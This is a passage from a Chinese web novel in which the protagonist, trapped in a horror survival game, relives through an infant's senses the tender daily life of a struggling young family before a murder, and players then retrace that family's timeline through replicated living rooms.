这就是一个普通的住宅。 难道是情景再现? 谢叙白转头,能清楚看见其他玩家惊讶思索的脸。 但就像隔着一层朦胧的纱,他无法实质性地触碰到徐队长他们,别人也无法触碰到他。 更听不到声音,只能看见一张一合的嘴型。 观察大家不约而同抬起脑袋的反应,应该遇到了同样的情况。 正观察着,陡然一道愤怒高昂的女声打破宁静,像针刺入耳内,蕴着几分歇斯底里:“都说了酒精会影响到孩子的健康!而且你看看现在都几点了!什么酒局那么重要就不能推了吗!?你都是个当爸爸的人了能不能为孩子考虑一下!能不能为我考虑一下!” 第184章 躲避球(6) 常常有人说婴儿的感知能力是大人的好几倍,一点细微的情绪变化也会被他们捕捉。 他们孱弱无力、动弹不得,需要仰仗监护人的保护和喂养才能存活,所以监护人也是他们的首要观察目标。 女人的声音一出口,谢叙白就不受控制地看了过去。 当女人的声音越来越高,直线拔高成一种尖锐嘹亮的噪音,谢叙白只觉得好像有把锋利的刀刺向了自己的耳朵,疼得他下意识把脸皱成一团。 他努力忍耐,但以往万千疼痛也不会皱一下眉头的自制力消失了。 不安害怕刹那间被无数倍放大,像棉花充斥脑海,他感觉自己脑门涨涨的,滚烫汹涌的水汽眨眼间溢满眼眶。 终于,在恐惧达到顶峰的那一刻,谢叙白忍不住哭了。 又或者说,他所共感的这个婴儿忍不住哭了。 “哇!哇!……” 正在打电话的女人闻声看了过来。 憋气而通红的眼眶,蜡黄发白的脸颊,乱糟糟的头发没顾得上打理,简单别了个发箍,疲惫感在这个女人的身上清晰可见。 她看着谢叙白,将手机放下,偌大的屏幕显示【老公通话中】的字样。 女人好像要过来了,谢叙白不愿坐以待毙,努力伸长脖子,去搜索周围所有可以利用的线索。 几个月大的婴儿视力还未发育完全,但谢叙白能看清楚。 看墙壁的干净程度应该是个新房子,但大厅摆设不多,显得有些简陋。 电冰箱、电视只是表面看着崭新,其实边缘胶皮都脱落了,是淘回来的二手。 桌上的饭菜已经冷了,凝固的油飘在最上面。总共只有一荤一素两个菜,摆了两个饭碗,一碗动都没动,一碗或许是心情不好吃不下去,只用筷子潦草挑了半口。 让谢叙白不得不注意的是,饭菜旁边有一本摊开正在算的账本。 勾勾写写,赤字鲜红,入不敷出。 ——这是一个相当拮据为钱发愁的家庭。 又仿佛是许许多多一地鸡毛、琐事不断的中洲式家庭的缩影。 新生儿嗷嗷待哺,丈夫夜不归宿,妻子独自带娃,焦虑着快要用完的存款,独自面对凄清冰冷的家。 原本宁静淑雅,或是灿烂活泼的性子,被柴米油盐消磨殆尽,逐渐变成刚才那通电话时歇斯底里的模样。 这时,女人已经来到谢叙白的面前。 谢叙白躺在可推动的婴儿床里,四面都是栅栏,想躲也躲不开。 女人伸出双手,巨大的阴影从头临下,一点点覆盖住谢叙白还挂着泪珠的大眼睛,逐渐压住他的身体。 逆光中看不清女人的脸,只感觉她应该还在生气,手臂肌肉绷得很紧,抿紧的嘴唇在颤抖,气氛压抑得可怕。 谢叙白下意识心道一句不好。 建立执法机构以来,他看到了许多冲动伤人的案例。 那种蓄意谋杀的变T其实很少,更多的加害者,往往都是被生活的重担压得喘不过气,就像骆驼被最后一根稻草压死,情绪压抑到某一个极点突然爆发,做出后悔终身的错事。 斗篷人针对他建立的游戏机制也发了力。 谢叙白对情绪的感知力和婴儿的超敏感知混淆在了一起,大脑里好像有不断回响的音箱,一直嗡嗡的。 让他无法清楚辨别面前的女人是不是濒临极限。 就算能分辨也无济于事,孱弱的婴儿抵挡不住任何伤害,也逃不开,除了用力地哭,什么都做不了。 谢叙白也受婴儿的情绪干扰,他无助极了。 放开我—— 不,不要! 再然后,女人压在他身上的手,环住柔软的小身体将他抱了起来。 像是乌云密布的天空雷声大作,劈下来的瞬间,却变成一根轻柔的羽毛将他托起。 谢叙白感受到女人的手掌拍上他的背,屁股被稳稳当当地托起。 女人愤怒的腔调陡然一转,变成懊悔的焦急,哄着他,手忙脚乱地和他道歉:“噢噢噢噢!宝贝宝贝不哭了,是妈妈不好,妈妈不应该这么大声吵的哦,吓到我们宝宝了。” 谢叙白一愣。 他发现自己似乎判断失误,误会了这个人。 他需要清空大脑,重新整理现在的情况,做出明智合理的判断。 可实际的他,却在女人开口安慰的瞬间哭得更大声:“呜哇哇哇!” 简直是扯着嗓子在吼,仿佛要说尽刚才的不安和委屈。 就像他本来做好了被迁怒被毒打的准备,毕竟在这个混乱残酷的世界里,再丧心病狂的事件都变得稀疏平常。 但谁会想到落下来的不是巴掌,是拥抱。 就像谁又能想到当事人自己都受不了在大吼大叫,却能对他温柔以待。 所有的动荡不安,都在此刻有了落点。 谢叙白想到了自己的妈妈谢女士,想到了谢凯乐的母亲许女士,想到了岑向财的母亲岑女士,她们身上好像都有一股让人为之震撼的力量。 谢叙白不知道该说什么,他现在的心智和真正的婴儿没什么两样,脑子依旧混乱无比,让他思考不能。 要知道哭也很费力气。他靠在女人温暖的怀抱里,踏实感在不间断的柔声拍哄中升起,抽搐起伏的胸口越来越平稳,哭声逐渐消失。 他像一场狂风暴雨中漫步的旅人,挟着浑身冰冷的水汽进入烧着火炉的屋子,暖烘烘的火光照在他的脸上,寒意散尽后,浓郁的困乏后知后觉地蔓延上来,他没忍住打了个哈欠。 女人拿来奶嘴,他嗅到熟悉的气味,下意识含住嘬了两下,带着奶音哼哼唧唧。 陡然头顶传来一声“啊”的惊叹。 谢叙白不算陌生,很久以前那些女同学,经常会对路边卖萌露肚皮的猫,发出同样甜蜜得仿佛能冒蜂蜜的喟叹。 他下意识睁开眼,看见女人嘴角带着被萌化的傻笑,正用手机摄像头对准他,咔嚓一声拍下照片。 随后来到垃圾桶的边上,又拍下一张照,对着屏幕快速点击好几下,发送给某人。 并附赠阴恻恻的语音威胁:“我再强调一遍张二狗,你要是十二点前还不回家,今晚你就到路边的垃圾桶找孩子去吧!” 谢叙白:“……” 大概十一点半左右,这个家的男主人回来了。 他风尘仆仆,像是下车后全力跑回来的,额上一层细密的汗水,脸色涨红,扶着门框不停地喘气。 女主人安置好谢叙白,在大厅中和他遥遥相望,空气寂静得针落可闻,像是一触即发的战场。 不用走近,就能嗅到男人身上扑面而来的酒气,女人用力地皱了下眉头。 男人这才猝然回神,带着歉意慌张解释:“老婆我没喝酒!真的没喝,酒味是陪他们喝的时候不小心沾上的,洗个澡就没味了,我马上去洗!” “我给老板说明了家里的情况,以后酒局都可以不用再去……” 虽然可能会错失接到大单子的机会,分成也会减少。 男人喉咙一滚,将这句话死死地压在心底,带着几分讨好地说:“今天是要招待李总,就是我跟你提过的那个大客户,前面一直是我在跟进,不去不合适。李总也挺通情达理的,没劝我酒,最主要的是下个季度的单子他说还让我对接,拿到提成我们至少能宽宥几个月!还有这个——” 他举起手里的塑料袋,里面套了个塑料打包盒,装着颗颗饱满的草莓:“你晚饭的时候不是说犯恶心,吃不下去东西吗?我去酒局前跑到楼下水果店挨个挑的,保证每个都熟透了,尝了一下非常甜,你现在饿不饿?我先去给你洗了再去洗澡吧。” 女主人始终面色不愉地盯着他,气压非常低,见状突然一愣。 她呆呆地看着男主人笨拙讨好的笑脸,听着男主人可怜巴巴地喊老婆:“门口那么冷,就让我进去吧老婆。对了,咱们的儿子还健在吧?” 他说着往婴儿床方向看了一眼,怔愣中的女主人被他这偷偷摸摸的样子弄得无语,却不知道为什么,眼眶一点点红了起来:“早丢掉了!” 男人没生气,笑着凑到女人的身边:“好好好,丢哪儿了?我去把他捡回来。” 他说着就绕到了婴儿床旁边,对着谢叙白指指点点,佯装威严地教训:“臭小子一点都不乖,一天到晚就惹他妈妈生气,该当何罪啊?” 谢叙白:“……” 女人上来没好气地将他推开:“滚滚滚,一身酒气臭死了,别让孩子闻到。” 桌子上的账本被收回柜子里,男主人笑着脱下大衣,挂在衣架上,将草莓拿进厨房清洗,顺口一问:“对了,你今天怎么了,发那么大的……” 话没说完,他忽然瞥见丢在厨房垃圾桶里的高档礼盒,笑咧咧的嘴角僵住,面色微沉:“……我妈下午来了,是不是?” 女人沉默着,用指尖温柔地掖紧谢叙白的被角,疲惫地看向他。 两人无声对视,空气静默难言。 男人忽然懂得了女人为什么会在晚饭时情绪爆发,用力地攥了下拳头,忽然抬头,当着女人拨了个电话。 很快那边接通,男人笑着说:“喂,妈啊?是我,您今天下午是不是来了一趟?” “没没没,没说您不能来,一家人有什么不能来的,就是您下次来好歹也说一声啊,我不也好久没见您了吗,您可不能厚此薄彼,光看您儿媳妇,不管我啊!” “欸!更主要的是芬儿刚生产完,需要安静地养一养,听说您生我那阵都虚啊,累死累活的什么都顾不上……没有,有什么意见啊!我知道您作为婆婆的肯定心疼儿媳妇对不对,再说了,您儿子这么多年好不容易碰上第二好的女人,您就忍心给吓走吗?您说谁是第一好?那肯定是您啊!” “我是想说,妈,我真的想跟芬儿好好地过。你们都说我会后悔,可这是第五个年头了,芬儿什么都没要跟着我五年,我们风风雨雨里走过来五年。不说别的,您孙子都和我胳膊一样长了,您今天来的时候不也瞧见了吗,您孙子那么可怜可爱,您忍心让他失去父母?” 男人放柔声音,认真地说:“妈,不要再对芬儿说那些话了,不要再劝她离开我,我真的会伤心,也会生气。再过几个月,我这边手里忙完了,我们一家人见个面,好好地聚一下,好吗?” 挂断电话。 男人一转头,看见女人双眼通红地看着他,终于忍不住扑到他怀里,放声大哭。 他心脏生疼,用力地揽着对方,怜爱中透着歉疚:“宝贝让你受苦了,对不起,我该早点发现的。” 这是一个普通却也没那么普通的家庭。 男方家里小有权势,半辈子潇洒不羁遇到压制他的五指山,家里笃定他吃不了苦,让他断了这层不可能的关系,岂料矜贵少爷难得硬气一回,毅然决然和家里断绝关系,净身出户白手起家。 女方是山沟沟里长出来的劲草,家里只有一个年迈的奶奶,不是读书的那块料,但很有艺术细胞,城里打工的时候无意识接触到绘画,只是简单几笔速写就让老板发现了她的非凡潜力,抓到自己的工作室中培养。 仅仅练习半年,就能在毫无名气的前提下,将单幅作品卖到几千上万。 拥有这种还算不俗的经历,理该得到一个飞黄腾达或起伏跌宕的故事。 之所以最后还是普通的,大概是因为男人没小说里那么离谱的经商头脑,也没拿到龙傲天的剧本。 女方的奶奶生了重病,她把所有的积蓄投进去,也没能挽留住老人家。后来老板偷S漏S被抓,她遭到牵连,差点一蹶不振,和男人相互扶持着,才勉强挺过来。 还好两人从来不奢求什么大富大贵。 大概是男人的总裁父亲三年抱回来两个私生子的原因,比起高定豪车名贵表,打开家门看到女人带着孩子迎接的那一幕,更能让他幸福得冒泡。 而女人一开始雄赳赳气昂昂进城打工的目标,也只是每周四能带奶奶吃一顿汉堡。现在阈值提高了,她想吃两顿。 但在瞩目崽子的未来上,两人倒是很敢想。 女人乐此不疲地逗谢叙白:“你说咱们孩子以后会是什么样?” 男人给她揉腿,乐呵呵地说:“眼睛鼻子都像你,以后肯定长得也像你,漂亮。” 女人笑嘻嘻:“是啊,我老公这么帅气,我又这么漂亮,以后他肯定也是迷倒万千少女的大帅哥。” “而且你看咱们孩子这么乖,平时不哭不闹的,长大肯定特聪明,像你一样门门功课考高分!将来成为一个科学家,大学者!” 男人呛了一口水,他那点智商也就拿来应付应试教育了,大学没收住心,直接一落千丈。 他都没能成为什么科学家大学者呢,对孩子这么要求是不是太无理取闹了点? 但看着女人对着孩子一副“我孩子什么都好,什么都优秀,谁说他不行我跟谁急”的护犊子模样,他还是咽下了嘴边的吐槽。 鬼使神差,也跟着畅想起来,乐道:“像你也好啊,成为个艺术家,大画家!跟照相机一样,画什么都栩栩如生。” 女人:“那要像他太奶奶,踏实肯干,针线活肯定强,啊,不行,男孩子学针线活会被人笑话的。” 男人照常笑:“这有什么,都二十一世纪了,男孩子不学点家务活怎么找老婆?不过现在没什么手工针线了,可以投资,开个非遗文化手工艺销售厂,正好他爹有门路。” 一晃,就是一个月过去。 谢叙白不至于忘记他们尚且身在险象环生的躲避球游戏中。 但看着兴致勃勃要教他绘画的女人,还是忍不住露出了满额黑线。 第185章 躲避球(7) 水彩颜料可能会刺激皮肤过敏,刺激呼吸道哮喘。婴儿皮肤娇嫩,平时洗澡都不能用力,沾上颜料后要怎么清洗? 六个月大的婴儿骨骼肌肉发育不完全,连坐都只能坐五分钟,不能超过十分钟。 ——教婴儿学画画,这个人是怎么想的? 直到谢叙白被女人兴高采烈地推进一个房间,又被安置在靠墙的位置,对着三米开外的超大号画板,他才知道。 好吧,不是手把手教他画画,是看着她画。 “差不多了!这个时间刚刚好。” 女人说着话,抱着他来到窗边,轻屈指敲了敲玻璃,引导他目光朝下看:“快看,宝宝,那里有好多小哥哥小姐姐呢,能不能看到?” 谢叙白顺势往下看。估计是放学的时间点,有许多小学生三五成群地从小区外往里走。 六个月大的婴儿已经能捕捉到动态的事物,对什么都感到新奇。 女人见谢叙白看得出神,黑曜石般的大眼睛眨啊眨,像宁静的湖水倒映着世间,忍不住笑出声。 女人爱怜地戳了戳孩子的小脸蛋:“从来没有看到过那些哥哥姐姐,很好奇对不对?你现在还太小,身体很脆弱,妈妈爸爸不敢让你和太多人接触,等你再长大一点,就能在外面玩得久一点,到时候就能和哥哥姐姐们见面啦!” 谢叙白听进去她的话,下意识想要多看几眼,但下一秒女人就将他抱开了,放回婴儿车,边对他笑着,边从两边将帘子拉上。 帘子用大片的透明塑料袋制作,用夹子和吊线稳稳固定,能很好地挡住溅射开的颜料,遮得严严实实。 女人日常生活有点大大咧咧,马虎粗心。比如吃饭看手机,会把勺子喂进鼻孔里,要出门的时候经常忘记带钥匙、手机,甚至买菜买东西会付了钱直接就走,一分钟后又着急忙慌地跑回来,对摊主讪讪地笑:“不好意思,不好意思,忘拿了。” 但在他的安全方面,似乎总能细致得不像话,尽到自己力所能及的小心。 再清晰的透明塑料袋,蒙在眼前都像隔着一层朦胧的纱,但或许是女人一直面向他温柔明媚地笑着,这副身体承受着母亲时刻的关注,没有感到任何不安。 直至女人退到画板附近,陡然拿起旁边盛满油彩的小桶,大刀阔斧般,毫无征兆地泼洒在画板上! 刹那间油彩如花绽放,模糊的透明塑料袋上立马渲染出大片橙红的火花! 这副身体在这个时期尚未接触到这么灿烂的颜色,这一幕来得太突然,也太震撼,小小的眼睛颤抖地盯着画板,朦胧的世界充满色彩。 女人对着瞬间呆住的孩子安抚一笑,开始作画。 似乎是为了照顾孩子的耐心,她没有用笔精雕细琢。但只是拿把刷子,也能挥舞得风风火火,不拘一格。她的气质陡然变了,仿佛有什么热烈奔涌的情感从她身上释放,随着手臂的摆动翩翩起舞,在小小的画室内回荡。 唰—— 帘子被拉开。 等谢叙白回神时,画已完成,女人抽空脱下身上沾满颜料的一次性雨衣,又去洗了个手,反反复复检查后,将他抱起来。 没有透明塑料袋遮挡的世界,顿时清晰不少,他的视线随女人将他抱起来的动作拔高。 那一瞬间,谢叙白恍惚以为自己看到了夕阳。 那夕阳被女人用眼睛照下,又用画板纸张裱框,最后送到了他的面前,灿烂夺目,近在咫尺。 他忍不住对着画板伸出手,当然是够不到的,胳膊不够长。 所以女人没有阻止,反而和他一样伸出手,点向夕阳下成群欢快奔跑的身影,眉眼弯弯:“宝宝看,这就是刚才的那些哥哥姐姐,你看他们笑得多开心啊。” 是的,那么美丽惊艳的夕阳竟然都只是装饰衬托。 真正在画板中占据主导位置的,是那些无忧无虑的笑脸。 暖色调的夕阳流金溢彩,火烧云般铺展,孩子们背着书包,咬着辣条,勾肩搭背嘻嘻哈哈,一蹦三尺高。 林荫树下相笑看,所见皆是温柔,人间永恒浪漫。 女人的声音在谢叙白耳边温柔响起:“很久以前,妈妈就喜欢看,什么都爱看。看花盛开,看油菜花田蝴蝶纷飞,看隔壁家大叔拉着他家娃上集市,几个娃儿脸都要笑开花。看出摊的婆婆爷爷忙前忙后,相互帮忙擦汗……” “妈妈没读过几天书,没什么文化,形容不出来,只知道每当看见这些画面,就觉得生活没有挺不过去的事,能活着看到这个世界,真好。” 窗帘轻轻飘动,笑声不断传开,熙熙攘攘的人群在暮色中流淌。 女人的赞叹发自内心,她的眼中闪烁着希望,蹭蹭谢叙白的小脸蛋,积极昂扬的语调好像三月春的风,一路吹进谢叙白的心里:“宝宝,这世界虽然有很多坏的事情,但好的事情一样多,甚至更多。妈妈喜欢奶奶,喜欢爸爸,喜欢宝宝,喜欢这个世界,希望你也一样喜欢。” 女人重拾画笔,自然不仅是为了向六个月大的婴儿展示世界。 那场酒局后,男人的申请终于得到批准,一周有几天可以在家办公,有他搭把手,两人共同打理家务,总算不至于那么累。 感觉自己状态好一点了的女人看着辛苦的丈夫,就想着干点什么来补贴家用。 正好那阵网络兴起,各种以网络为媒介开展的商贸业务迅速发展,她想着要不在网上卖画,还不会让人认出来。 就是她心里惴惴,始终自卑,觉得自己的画没有人引荐,不一定卖得出去,到时候浪费精力又浪费钱。 况且孩子也在离不开妈妈照顾的时候。 对此,男人给予了高度的支持和鼓励。 那天女人画的夕阳群童,虽然用的笔刷不是很精细,但依旧被他惊为天人,大加夸赞,特意框起来挂在画室的墙壁上,天天摸着下巴欣赏。 他对女人的支持并不只在口头上,为了让妻子养好精力,有时候加班到十二点的男人,还会定闹钟赶在五点起床,去买菜做早饭,只为妻子能够多睡一会儿觉。 而这只是他为妻子做的很多事中,其中的一小件。 有时候看着腰肌劳损,满背贴着膏药在沙发上哼哼唧唧的男人,谢叙白以男的角度,都会觉得这个丈夫好得简直不真实。他在男人身上看不出半点少爷脾气,唯一一次发火,还是因为女人图省事洗了冷水澡。 似乎察觉到谢叙白的目光,男人睁开眼,刮了一下他的鼻子,笑得没个正形:“嚯,你爹帅吧?让我儿子看得这么着迷。” 厨房乒铃乓啷一阵响,是女人忙活着为男人炖鸡汤。男人坐起身,按着肩膀活动一圈,骨头咔嚓响,他不以为意,稳稳地抱着谢叙白走向厨房,依靠在门边。 暖黄灯光下,女人的身影在灶台前忙忙碌碌,身上也被镀上一层柔和的光。 男人默不作声地看着,一动不动,眼神是从未有过的专注深邃,忽然和谢叙白小声咬耳朵:“你妈真漂亮。” 他笑:“不知道你这个臭小子以后会霍霍哪家的姑娘,不过我打包票,肯定没有我老婆漂亮。” 谢叙白:“……” 这人和六个月大的婴儿说什么呢。 男人似乎很感慨,和自己儿子说起一段陈年旧事:“当初我和你妈是在酒吧认识,那时候的你爸特别浑,打架喝酒惹是生非,谁见我都怕,唯独你妈不怕我,我在垃圾桶边上吐得昏天黑地,她路过看见,偷偷倒了一杯热水放在我的旁边。那水里加了柠檬片和方糖,是甜的,我现在都记得。” 他继续说:“你爹啊,家里热闹,有哥有弟,兄弟中排老二,虽然你奶奶没亏待我,但平时也不怎么管我,至于你爷爷,那就是个妥妥的人渣。” 大二那年他的人渣爹带回来两个私生子,比他岁数都大,特意回来跟他哥争财产。 从此男人的生活永无宁日。以前还有几个跟班讨好他,此后所有人都把他当笑话。 他妈妈也是从那天之后,变得尖酸刻薄,再不复曾经典雅温和的仪态。 男人宽慰不了他妈妈,他妈妈要的东西也不是他能给的。 他也为此一蹶不振,恨天恨地,在酒吧喝得烂醉如泥,突然有一天,和他暗生情愫的女人冲上来拦住他,这个社恐得都不敢和其他人大声说话的女人,难得蛮横一次,抢他的酒瓶。 争执间女人被他不耐烦地压在身下,炫彩的霓虹灯照下来,嘈杂声如潮水褪去,他看见女人对他怒极气急又忧心忡忡的眼睛里,绚烂溢彩,好似盛满了星光。 他愣住了。 那一瞬间,呼吸变得急促,万千蝴蝶在胸口振翅。 男人满脑子只有一个念头:自己栽了,这个女人他非娶不可。 “我不会像那个人渣一样让你妈伤心,也不会让你爹的悲剧在你身上重演。你爹加把劲儿,争取十年内干到公司三把手,让你们娘俩过上好日子。”男人对谢叙白,对自己的孩子轻声承诺,“等你长大了,上小学,那时候贷款应该也还得差不多了,寒暑假我们就一起出去旅游,见证世界各地的风土人情,你妈就特别喜欢那些。” “就算没时间,我们也可以周末一起出去放风,爸带你骑车,你妈坐我背后,你骑自己的小车,再养条狗,养只猫。还要记得多给你妈买点护肤品,特别是那双手,毕竟是画画的呢,大艺术家,必须要好好保养。还有你,别看你妈特别望子成龙,到时候无论你想学什么,她肯定大力支持……” 女人听到身后的碎碎念,警觉扭头:“你们爷俩嘀嘀咕咕说啥呢?” “给咱们儿子做思想教育呢,让他以后要努力,好好孝敬保护他妈妈,孝敬他爹我。还有好香啊,能吃了吗,我都要馋得流口水了——”男人嬉皮笑脸地凑了上去,被女人没好气地推开。 那一瞬间,时光仿佛被定格在打打闹闹充满温馨色彩的厨房,有男人厚不要脸的撒娇,有女人无可奈何却宠溺的放纵,有婴儿一阵傻乐的哈哈笑。 谢叙白无法不沉浸在这和乐的氛围中。 他感觉时间悄无声息地走,每天都是这样风平浪静的美好祥和。 他看着女人第一次顺利在网上卖出自己的画作,激动得抱起他一个劲儿地转圈圈。 他看着男人的辛苦努力得到成效,从副组长荣升正组长,第一件事就是给女人买来大牌子的护手霜,两人兴高采烈地在客厅里忘我地拥吻。 幸福的时光过得快而悠长,所有的一切都在慢慢变好。 咔哒,咔哒…… 外面雷声大作,暴雨不停,墙上挂钟的分针一圈圈地转动,机械的声响在寂静的屋子里格外清晰。 女人一边逗弄谢叙白,一边不停看时间。 尽管男人给他打过电话,今天加班要晚一点回来,但她还是有点担心,外面的雨太大了。 “都这么晚了,你爸爸怎么还没回来,听他说带了伞,路上不会被淋湿吧……” 也是这时,外面传来了熟悉的脚步声。 不知道是不是雨下得太大的缘故,那声音听起来有些嘈杂。 廉价录音机放出来的声音总会这样失真。 但女人没有多想。那些电视新闻里惊心动魄的惨案,和老实本分生活的人有什么关系呢? 也没有注意谢叙白的表情陡然变得一片空白,疯狂挥动自己的手臂,惊恐地想要叫住她。 轰隆隆—— 惨白的雷光划破夜幕,透过窗户照亮岑寂的大厅,听到敲门声,女人打开了门,迎接自己心爱的人,下意识露笑:“回来啦?” 第186章 躲避球(8)…… …… 直到意识从情景再现中抽离,玩家们都迟迟没能回神。 徐队长沉着脸不说话,布莱恩满脸铁青地怒骂了一句什么,没忍住掰烂了桌子的一角。 所有人相互对视一眼,脸色都不是很好看。 凶手破门而入时大家都有预感,下意识地想要阻止,也是那一刻他们突然清醒过来,徘徊的意识定格在女人瞬间惊恐的表情上,像是在看一场结局已定的电影,即使预料到将要发生的悲剧,也什么都做不了。 强行让众人快速回神的,还是那些层出不穷的鬼婴。 它们盯着玩家,伺机而伏,满是尖牙的口腔传出唾沫分泌的“咕噜咕噜”声,眼窟窿散着幽绿的光。 它们和狡诈贪婪的豺狼没什么两样,哪怕前一刻才被项圈的金光驱散,吃过疼痛的教训,下一秒看见玩家们呆怔在原地,依旧会蠢蠢欲动地扑上来。 玩家们复杂的眼神中流露出一丝悲悯。 或许是久违地作为普通人,共享了那段温馨的时光,他们对鬼婴的感觉不一样了。 也让他们在此时清楚地意识到。 那个可爱纯真,被爸爸妈妈逗弄两下,就会忍不住挥舞小胳膊傻乐嘿嘿笑的婴儿,已经遭遇了不幸。 就在这时徐队长站了出来,严肃地喝醒众人:“我们看到的只是段过去的影像,甚至不一定真实存在,很有可能是为了补充游戏背景虚构出来的故事,不要让自己被影响!被蒙骗!立刻行动起来,继续寻找那对夫妻,外面的同伴还等着我们通关!” 众人如梦初醒,要行动时看着无数复刻出来的客厅又犯了难:“我们要怎么找?” 谢叙白忽然说:“观察家具摆设。” 声音说不出的虚弱。 众人下意识看向青年,发现对方脸色惨白得不像话,瞬间被吓了一大跳:“你没事吧?” 巅峰队员怀疑他在幻境中了招,连忙上前帮他驱邪,被谢叙白摆手拒绝了:“是我大意了,在刚才的幻境中使用【线索勘查】,不小心遭到了反噬。不碍事,我的能力可以加速自愈,缓一缓就好了。” 加速自愈是【中级治愈】,包括【线索勘察】,都是谢叙白之前公开的能力。 众人不疑有他,佩服得五体投地。 一个B级竟敢侦查S级副本,这就是技高人胆大吗? 实际是共情能力太强。 幻境中大雨滂沱,凶手逆着过道乍现的雷光出现在门口的那一刻,难以言喻的恐惧如潮水漫上口鼻,近乎将谢叙白淹没。 有那么一瞬间,谢叙白以为自己会永远地迷失在那场惨案中。 这很不正常,要知道他的意志力可以强撑过觉醒时的异变,连邪神的蛊惑都不能动摇他分毫,难道说这场游戏有堪称神级的力量? 不可能。 按照斗篷人提到各层级时的态度和瘦长鬼影的解说,黑塔应该是越往上走,商家(诡怪)的实力越强。 如果第一层就派神级诡异出场,那么这场游戏就失去了最基本的公平性和平衡性。 谢叙白又一次想起斗篷人说的那句话:“这是我专门为你准备的项目。” 问题大可能出在他自己的身上。 但会是什么问题,他和这一家三口又有什么联系?谢叙白毫无头绪。 他轻描淡写地将自己的异样抹去,身心的难受没在脸上表现出一分一毫,向众人镇定平静地解释自己的发现。 “真的是,你们看每个客厅的场景布设都变得不一样了!” 之前的客厅是等比例复刻,没什么差别,现在却在部分家具物件上出现了不同的改变。 比如有的大厅放着二手旧冰箱,有的大厅是新冰箱。 如果说经历幻境是展现这些不同之处的开关,那么导致这些不同出现的因素是…… 谢叙白一语中的:“是时间。” 一个家的变化向来有个时间顺序,比如墙壁从雪白到泛黄,桌椅从崭新到陈旧。 但同样的场景,也可以是泛黄的墙壁被刷上新漆而显得雪白,陈旧的桌椅被更换成崭新的一套。 至于这里到底是什么样的顺序,新到旧还是旧到新……终于,这一次所有的玩家都能插得上话,给出意见,每个人都清清楚楚,记忆犹新。 因为他们上一刻才经历过。 玩家没有多说什么,沉默地分散观察,充分发挥人多眼睛广的优势,只是几百上千个房间,一时间要分清哪里是“头”,也实在困难。 还好“肉体炮弹”的震慑力犹在。 尽管鬼婴们依旧对咬人有念想,但发现玩家们很快清醒过来,还是谨慎地缩回了身体。 十多双黑窟窿似的眼睛血泪不断,齐刷刷盯过来的视线总叫人瘆得慌,玩家边走,边头皮发麻地哄:“乖啊,别闹别叫更别咬,带你们找爸爸妈妈。” 身边有人小小地叫了一声:“卧槽”。 “你们快看宴初一,他是不是在尝试和鬼婴交流?” 旁边的人顺势看过去,果不其然看见清瘦的青年半蹲身,手持不知道从哪儿找来的奶嘴,对着好几只鬼婴递过去,眉眼柔和,嘴里念念有词,仿佛在低声问路。 玩家不懂,但大受震撼。 “这些鬼玩意真的能听懂人话吗?” 不对,应该问它们愿意听人话吗? 事实证明可以。 又或者说青年本就在不断地创造奇迹。 只见几只鬼婴中的其中一只对着奶嘴出现片刻的茫然,慢吞吞地朝谢叙白爬过去。 就像接受投喂的流浪小动物,饥肠辘辘又害怕受伤,于是不断龇牙,小心翼翼。 中途谢叙白的手一动不动,极有耐心地等着它,目光始终温和,连呼吸都没有明显的变化。 终于,鬼婴过来了,用最快的速度将奶嘴一口叼住。 那一秒它的身上出现了某种变化,它叼着奶嘴,四肢并用,快速往一个方向爬走,仿佛玩家们的血肉对它来说不再具有吸引力,有更重要的东西吸引着它。 徐队长说:“快跟上它!” 玩家们追着叼奶嘴的鬼婴来到一个客厅,忽然发现鬼婴停了下来,哼哧哼哧地爬进婴儿床。 仿佛终于找到安心之所,它将自己埋进柔软的小被子,嗅着熟悉的气息,闭上了眼睛,逐渐安睡过去。 六个月已经能够发出简单的音节了。 玩家靠近,能听见鬼婴小声地哼唧着。 梦里不知有谁将他抱起,温柔唱着哄睡的歌谣,他的眼角溢出点点泪花,嘀嘀咕咕地唤着他们。 “mu…mu…a……” “…mu啊…ma…啪pa……” 直播间观众。 “我爆哭!*@&!*的杀人狂真该去死!” “好好的一个家庭就这么毁了啊!” 现场玩家更是说不出话,仿佛有口气哽在喉咙不上不下,难受得慌。 通过对比记忆中的家具布设,他们很快得到一个重大发现:“看,这里有没算完的账本,还有凉了的饭菜,好像就是幻境最开始的景象!” 既然找到了头,那就好办了。 每个大厅都是四四方方,像无数正方形拼接在一起,没有墙壁和门的限制,对角的大厅也能跨过去。 那就分别有东、南、西、北、东北……总共8个方向可以走。 如果宴初一的分析没错,按照时间顺序,他们下一步该往…… “这里!”有玩家高喊一声,“账本被收起来了,桌上还有一碗洗好的草莓!” 谢叙白等人过去了,很快又有人找到了下一个正确的顺序:“接下来往这!妈妈她……” 玩家顿了顿,神色复杂地改变称呼:“我记得,那天吵架没多久,女主人发现孩子能短暂撑起上半身,就惊喜地把客厅茶几给挪走了,铺上地毯,方便孩子自由活动。” 爱无形,但有迹可循。 随着玩家们此起彼伏的辨认声,这个家的时光慢悠悠地往前走。 婴儿床里多了很多逗趣的小玩具,还有女人认真缝制的福包。 天花板挂上摇铃,风一吹就轻轻地晃,所有铃铛叮铃一阵惬意地响。 女人喜欢在沙发上择菜,剥豌豆,剥玉米,给菜刨皮,能看电视。 淘来的二手沙发,皮磨薄了,木头突出来,老是膈到后腰的骨头,弄得青青紫紫,疼得厉害。 她在上面放了两个靠枕,还是有感觉,干脆坐在小椅子上。没一星期男主人开始从家里带饭,预支后面三个月和同事出去吃饭的钱,换了个能托住腰的沙发。 女主人网店开张,接连卖出画的那个月,家里买了进口奶粉、婴幼儿高档玩具,家庭用按摩仪。换了新的毛巾牙刷、剃须刀、男士品牌西装及皮带皮鞋、大容量新冰箱。 男主人晋升正组长的下一个月,家里多了个两米高的大毛绒玩具熊、吸尘器、高档护肤品、女士羊绒大衣、金手镯,换了台能订购影视剧的电视机。 那个雷雨大作的夜晚,不幸降临的一天,早上还是阳光明媚的天气。 女主人浇水时在花瓶底下惊喜地看到了两张艺术展的门票,日期定在周末,捂着嘴脸上一阵羞红。 晚上男主人打电话,听到妻子羞赧地邀请他周末一起去吃烛光晚餐,一个劲儿傻笑,手指不知不觉把文件搓出褶皱。 …… 即将走到最后的时间节点前,汩汩鲜血从客厅与客厅的连接处,贴着地板蔓延而来。 啪嗒,沾湿了前排玩家的鞋尖。 玩家下意识往后退了一步,抬起头看向前方。 地上出现了大片血迹,还有人倒在血泊中映出来的轮廓。 有人朝着婴儿床的方向努力爬,满地都是狰狞的血手印,拖出无数道蜿蜒的长痕,像泪痕。 似乎被伤害后,她没有立刻死去。 